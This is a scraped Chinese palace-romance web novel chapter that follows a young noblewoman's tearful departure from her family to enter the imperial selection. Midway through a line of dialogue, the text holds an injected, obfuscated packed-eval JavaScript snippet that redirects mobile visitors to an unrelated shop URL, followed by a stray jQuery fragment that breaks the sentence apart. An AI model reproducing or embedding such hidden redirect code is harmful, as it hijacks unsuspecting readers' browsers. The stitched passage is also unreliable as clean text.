文趣网 > 都市小说 > 容贵妃传 > 1. 01 入宫
    天还未亮,倪姝莲便被侍女素兰轻声唤醒。

    “小姐,该起了,今日入宫,误不得时辰。”

    透过上好的幔帐,素兰瞧见床上的人微微动了一下,又缩起来。不由失笑,又有些心疼。小姐不过刚及笄,就要被送进那吃人不吐骨头的皇宫为家族挣前程,她家小姐打小善良淳厚,待人以真。进到宫里,也不知会不会遭人哄骗。此次进宫,她必要护好小姐。

    “小姐,快起吧,可不兴赖床了。”

    一只素手从中伸出,缓缓把幔帐撩起,倪姝莲睁开眼,抚摸着眼前上好的锦缎,这还是祖父在世时宫里赏赐下来的。祖父功勋卓著,蒙圣上眷顾,各种珍宝流水般送入安昌侯府。加之一众孙辈里祖父最宠她,故而这寻常官宦人家拿来做典礼华裳,一年只舍得穿一次的锦缎,被大手笔地用来做了幔帐。然而如今再看华贵绸缎,竟有些看昨日黄花的萧索之意了。

    倪姝莲皱了皱脸,轻叹一口气。

    素兰见她起身,松了口气,冲外面摆摆手,几个侍女排成一列,各自端着铜盆,捧着热布巾、衣裳进来。倪姝莲起身梳洗,透过半开的窗棂,瞧见院中那株老槐树。那是祖父当年带着她亲手所植,如今已是亭亭如盖。

    今日确是有些多愁善感了,倪姝莲收回目光,问道:“母亲起了吗?”

    “夫人早起了,在前厅候着呢。”素兰一边服侍她梳洗,一边低声道,“夫人昨夜同小姐说完话,回去怕是没怎么睡,瞧着眼睛有些肿呢。”

    倪姝莲抿了抿唇,没有说话。

    铜镜中映出一张艳若桃李的面庞。眉如远山,目若秋水,唇不点而朱,肌肤赛雪。

    “小姐真好看。”素兰替她梳好发髻,“只是眉宇间较从前多了几分愁绪。今日入宫,小姐还是开心些好。”

    倪姝莲撇着嘴:“开心不起来。”

    “前次复选,所有入选之人素兰都见过,没有一个容貌能比过小姐的。素兰觉着,但凡陛下见到小姐,一定头一个宣小姐侍寝封位分。”

    倪姝莲微微摇头:“我不想做头一个。”

    昨日母亲也说,进宫之后,最先要做的不是一鸣惊人,要知木秀于林风必摧之。只求先能稳稳当当地站住脚跟,秉持中庸之道,才能长久。

    倪家如今已不似祖父在世时那般显赫,父亲袭了安昌侯的爵位,却是降等世袭的第二代。皇上恩典,准留虚爵,实则已经称不得侯了。虽说府中田产铺面尚能维持一家人的用度,可再这么坐吃山空下去,三代之后怕是什么都不剩。

    加上大哥这唯一的嫡长子身子病弱,庶出与二房皆虎视眈眈。她不入宫,倪家便没有转机,她与母亲大哥也要成日如履薄冰。她入了宫,哪怕只是个不起眼的嫔御,好歹也算在宫里有了自己人,往后有什么事,也能有个照应。

    所以,哪怕心里再不情愿,这个嫔妃,她也要做。

    “小姐,该走了。”素兰为她梳妆完毕后提醒道。

    倪姝莲站起身来,最后看了眼这间住了十八年的屋子,迈步出了房门。

    前厅里,母亲李如嫣端坐在主位上,着一身藕荷色外衫,是去年新做的。虽不是时兴花样,却也端庄大方。鬓边除常戴的素钗外,又别了一支赤金簪子,是她嫁妆里最好的一件。平日里舍不得戴,今日特地拿出来撑场面。

    李如嫣见女儿进来,忙起身迎上前,仔仔细细地打量她,眼眶泛红,却硬撑着没有落泪。

    “莲儿。”李如嫣握住她的手,不由微微发颤,“进了宫不比在家里。娘不在身边,你万事小心。宫里的人,面上笑的不一定是善,面上冷的不一定是恶。多看,少说,不争不抢,安分守己。要先站稳了,旁的往后再说。”

    “女儿记下了。”倪姝莲忍着泪,“娘在家里也要保重。”

    “东西都带齐了吗?”李如嫣又问,“素兰跟你同去,她是个机灵的,有事多跟她商量。娘托人给宜妃娘娘递了话,她是你亲表姐,虽不知能不能帮上忙,好歹有个照应。不求头一个侍寝,但求别在储秀宫耗太久才好。”

    “母亲费心了。”倪姝莲心中酸涩,声音也有些发紧。

    李如嫣又紧了紧她的手,凑近了小声道:“进了宫,要多与表姐亲近。可还记着,昨日母亲同你说的,最最要紧的是什么?”

    倪姝莲点头,同样小声回道:“母亲说,士之耽兮犹可脱也,女之耽兮不可说也。女儿谨记在心。”

    “好!好!我的好女儿。”李如嫣轻抚着倪姝莲的脸,紧紧咬着唇,别过脸去。半晌,才转回来,替倪姝莲整了整衣领,却是不敢看她,轻声道:“去吧。”

    倪姝莲心中情绪翻涌,怕花了妆,却是不敢落泪。只得跪下去,端端正正地磕了三个头。

    李如嫣以帕遮面,哪怕知道这不合礼数,却也没有拦着女儿尽孝心。

    倪姝莲起身时,看见父亲倪远志略显局促地站在厅侧,面上写着几分歉疚忧虑。对这个父亲,她怨过,恨过,最后也同母亲一般,不再抱有任何期望。

    “父亲,女儿走了。”她屈膝行礼。

    倪远志张了张嘴,最终只挤出一句:“莲儿,一路平安。”

    妾室周姨娘站在父亲身后,一身水红色,比正室夫人穿得都鲜亮。她对倪姝莲福了福身,笑盈盈道:“大小姐此去必定顺遂,府上上下都盼着小姐的好消息呢。”

    那话说得挑不出错,倪姝莲却也没应,目光越过周姨娘,落在她身后一个少女身上。

    那是周姨娘所出的女儿,倪姝媛。

    倪姝媛比她小两岁,模样也算清秀端正。此刻站在角落里看着她,嘴唇微微翕动,似乎想说什么,又没开口。

    对于这个妹妹,倪姝莲心绪是很复杂的。

    她不在意所谓嫡庶之分,倪姝媛也并非心恶之人。然而对其母亲和兄长,倪姝莲着实给不出什么好脸色。

    那周姨娘本是母亲的陪嫁丫鬟,母亲待其如姐妹,此人却趁母亲怀她时爬上了父亲的床。父亲食了当初一生一世一双人的诺言,纳周姨娘为妾,自此与母亲有了隔阂。而周姨娘那个儿子,成日花天酒地,却因大哥身子不好野心勃勃地想袭爵,倪姝莲又怎么可能让他们称心如意。

    是以她与倪姝媛的关系,哪怕是彼此都有心亲近,也终究隔着一层。

    “二妹妹。”今日便要走了,思及她这一去,母亲便要独自在府中支撑,还要防着各处来的明枪暗箭。倪姝莲到底主动开口,语气温和,“我走之后,家中诸事,劳烦你多帮衬母亲了。”

    倪姝媛微微一怔,随即垂了眼,微微福身:“姐姐言重了,有帮得上忙的地方,姝媛一定帮着母亲。”

    这时二房那边的两个堂妹,倪乐瑶和倪乐雪也过来行礼。两人是二叔倪远扬的嫡女,此次选秀,二房也将她们送去参选,奈何容貌品行皆不如人,初试便被刷了下来。

    “大姐姐此去,必定是贵人。”倪乐瑶笑盈盈地说,眼底却藏着一丝不甘。

    “是啊,往后我们见了大姐姐,怕是要行大礼了。”倪乐雪附和道,话里带着酸味。

    倪姝莲没有接话。

    倒是倪姝媛忽然开口,声音不大,却是掷地有声:“二姐姐、三姐姐说笑了。皇上还没赐下位分,你们这话要是传出去,该说我们安昌侯府不懂礼数了。”

    倪乐瑶和倪乐雪脸色一变,想要反驳,被自家娘亲狠狠瞪了一眼,只能讪讪闭了嘴。

    倪姝莲有些意外,看向倪姝媛,对方却是在她看过去时垂下了眼,一副什么都没发生过的样子。

    时辰不早了,管事嬷嬷在外头催了两遍。李如嫣将眼泪擦干,退后一步,带着府中上下向倪姝莲行礼。

    入宫选秀的女儿,离家时家人要行大礼,寓意送贵人出门。

    倪姝莲看着母亲弯下腰去,她从前竟没发现,母亲鬓发里已经藏着些许银白,一时不由百感交集。

    倪姝莲转过身,披风在空中划过,大步往外走,不敢再回头。

    走到二门时,身后忽然传来急促的脚步声。倪姝莲回头,正见倪姝媛追了上来,微喘气停在她面前,手里攥着一个东西,低着头有些局促地递过来。

    “大姐姐,”倪姝媛的声音有些发紧,“这个...给你。”

    倪姝莲接过来,是一枚平安符,其上绣着一朵小小的莲花。

    “这是我前些日子绣了,送去观音寺请大师开过光的,”倪姝媛飞快地说,眼睛不看她,“也不是什么好东西,大姐姐若不嫌弃,就带着吧。”

    倪姝媛说完,像是怕听到倪姝莲拒绝似的,把平安符往她手里一塞,转身跑回了府中。

    倪姝莲攥紧平安符,心中五味杂陈,她抬头看向倪姝媛的背影,轻声道:“姐姐收下了。”

    府门外停着一顶青帷小轿,是宫里统一的轿子。

    倪姝莲正要上轿,余光瞥见墙角处有个人影一闪。

    她微微皱眉,示意素兰稍等,自己走过去。

    墙角处蹲着一个十四五岁的男孩,穿着半新的青色袍子,缩着身子,眼眶红红的。

    “瑾哥儿?”倪姝莲蹲下身,与他平视,“怪道方才没看见你,怎么缩在这里?”

    瑾哥儿是二叔的庶子,生母是个外室,又早早故去,在二房一直不受待见。二叔成日不着家,两个嫡出的姐姐动辄打骂他,二婶也从来不给他好脸色。府中只有倪姝莲时常照拂他,给他送些吃食,教他读几句诗书。

    瑾哥儿看到她,吸了吸鼻子,声音闷闷的:“大姐姐,你要走了?”

    “嗯。”

    “能不能不走?”他抬起头,眼睛红红的,“二姐姐她们会打我。”

    倪姝莲心中一酸,伸手摸了摸他的头:“瑾哥儿,大姐姐必须走。你乖,好好读书,将来考取功名,就没人敢欺负你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860965|211992||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。”

    瑾哥儿撇着嘴,眼泪在眼眶里打转:“瑾哥儿没用,不会读书,要让大姐姐进宫养家。瑾哥儿会快点长大的,瑾哥儿要习武,要上战场,做祖父那样的人。”

    “傻孩子。”倪姝莲用手帕帮他擦泪,“你还小,想这些作甚,姐姐只希望你开开心心的。”

    “可是...”瑾哥儿咬着唇,“大姐姐不在,没有人帮我了,我不开心。”

    “乖,别怕。我已经同娘亲说过了,你以后到大哥院子里去住”倪姝莲温声道,“大哥虽然身子不好,但他会护着你。你听他的话,好好念书。”

    瑾哥儿沉默了一会儿,从怀里掏出一个纸包,塞进倪姝莲手里:“大姐姐,这是我攒的桂花糖,给你路上吃。”

    倪姝莲打开纸包,里头躺着几块大块的桂花糖,小心用油纸包了好几层,看得出是攒了很久的。

    “好,大姐姐收下了。”她将糖包收好,站起来,正色道,“现在你回去,别跟来。大姐姐不能带你走。你走吧,大姐姐看着你走。”

    瑾哥儿抿着嘴,点了点头,起身拍了拍袍子上的灰,转身往府里走。走了几步又回头看她,眼眶红红的,却到底没有再跑回来。

    倪姝莲看着他小小的背影消失在门内,长叹一口气,转身进了轿子。

    “起轿。”

    轿子晃晃悠悠地往前,倪姝莲靠着轿壁,手里攥着平安符与桂花糖,看着熟悉的街景一点点往后退,终是没忍住湿了眼眶。

    这一去,不知能否再回,不知何时能回。

    走了约莫两刻钟,在一座石桥前,轿子忽然停了下来。

    “小姐,对面也来了顶轿子。”素兰在外头低声道。

    倪姝莲掀开帘子往外看。石桥不宽,只能容一顶轿子通过。此刻两顶轿子分列路两边,要过桥,必是要分个先后了。

    “不是宫里的轿子,想来不是秀女,可以...”素兰的话在看到对面轿中人后停住,只见对面轿帘掀开,露出一张妆容艳丽的面庞。

    那是一个与她年纪相仿的小姐,杏眼桃腮,穿着桃红色的夹袄,头上戴着衔珠步摇,通身的富贵气派。乘的是一顶大轿,轿旁除宫里嬷嬷外,还站着两个丫鬟,两个婆子,阵仗不小。

    对方显然也看见了她。

    不等倪姝莲开口,那小姐便扬声道:“桥这么窄,谁先过呀?”

    她身边的丫鬟立刻接话:“小姐,您可是勇毅伯府的嫡女,咱们勇毅伯府可是世袭罔替,世世不衰的爵位,哪里是个虚爵能比的,自然咱们先过。”

    这话说得毫不遮掩,带着几分趾高气扬。

    素兰皱了皱眉,正要说什么,被倪姝莲抬手止住。

    “让她们先过。”倪姝莲轻声道。

    素兰有些不甘心:“小姐,咱们好歹是侯府...”

    “不过几步路的事。”倪姝莲安抚她,“让一让无妨。”

    “是。”素兰只得扬声对轿夫道:“退后,让对面的轿子先过。”

    对面的小姐闻言,脸上露出几分得意,吩咐轿夫起桥。两顶轿子错身而过时,那小姐掀着帘子,上下打量了倪姝莲的轿子一眼,鼻子里轻轻“哼”了一声,才放下了帘子。

    倪姝莲见状,面色如常。素兰却气得脸都红了,同她小声道:“小姐,那人也太没礼数了!”

    “别理她啦。”倪姝莲拍拍素兰,“为这种事起争执不值得。”

    “我奇怪的是,我并不认识她,她怎么好像认识我?”

    素兰无奈地看着自家小姐:“小姐这副容貌,在哪里不是引人注目,不是所有人都同小姐一般,只关心今日午膳吃什么的。”

    倪姝莲仰脸冲她笑笑:“听你这么说,我倒真好奇起来,宫里的午膳会吃什么了。”

    素兰哭笑不得:“小姐!”

    倪姝莲拿了个桂花糖放进嘴里,给素兰也塞了一个:“好了,别生气了,就当是给我们留个吃糖的时间。这可是瑾哥儿的宝贝呢。”

    片刻后,轿子重新起行,过了桥,继续往皇城方向去。

    倪姝莲心里只当这是一件小事,却不想,若是有心关注,小事亦可上达天听。

    彼时嘉文帝正立于御书房桌前习字,闻言,他搁下笔:“说仔细些。”

    “回陛下,是勇毅伯府的主子执意要先过。安昌侯府的主子便让了,一句争执都没有。”老内监恭声道,“奴才听着,那倪小主气度沉稳,倒是个懂事的。”

    嘉文帝没有说话,重新提笔,在面前的宣纸上写了一个字。

    一字一气呵成,入木三分。

    写罢,他再次搁笔,转了转手腕:“今日到这,收了吧。”

    老内监俯身应是,将皇帝写的几张字折起,拿进里间存字之处。

    待内监将纸展开放平,瞧见最上面那字,不由微微一顿。

    是个“容”字。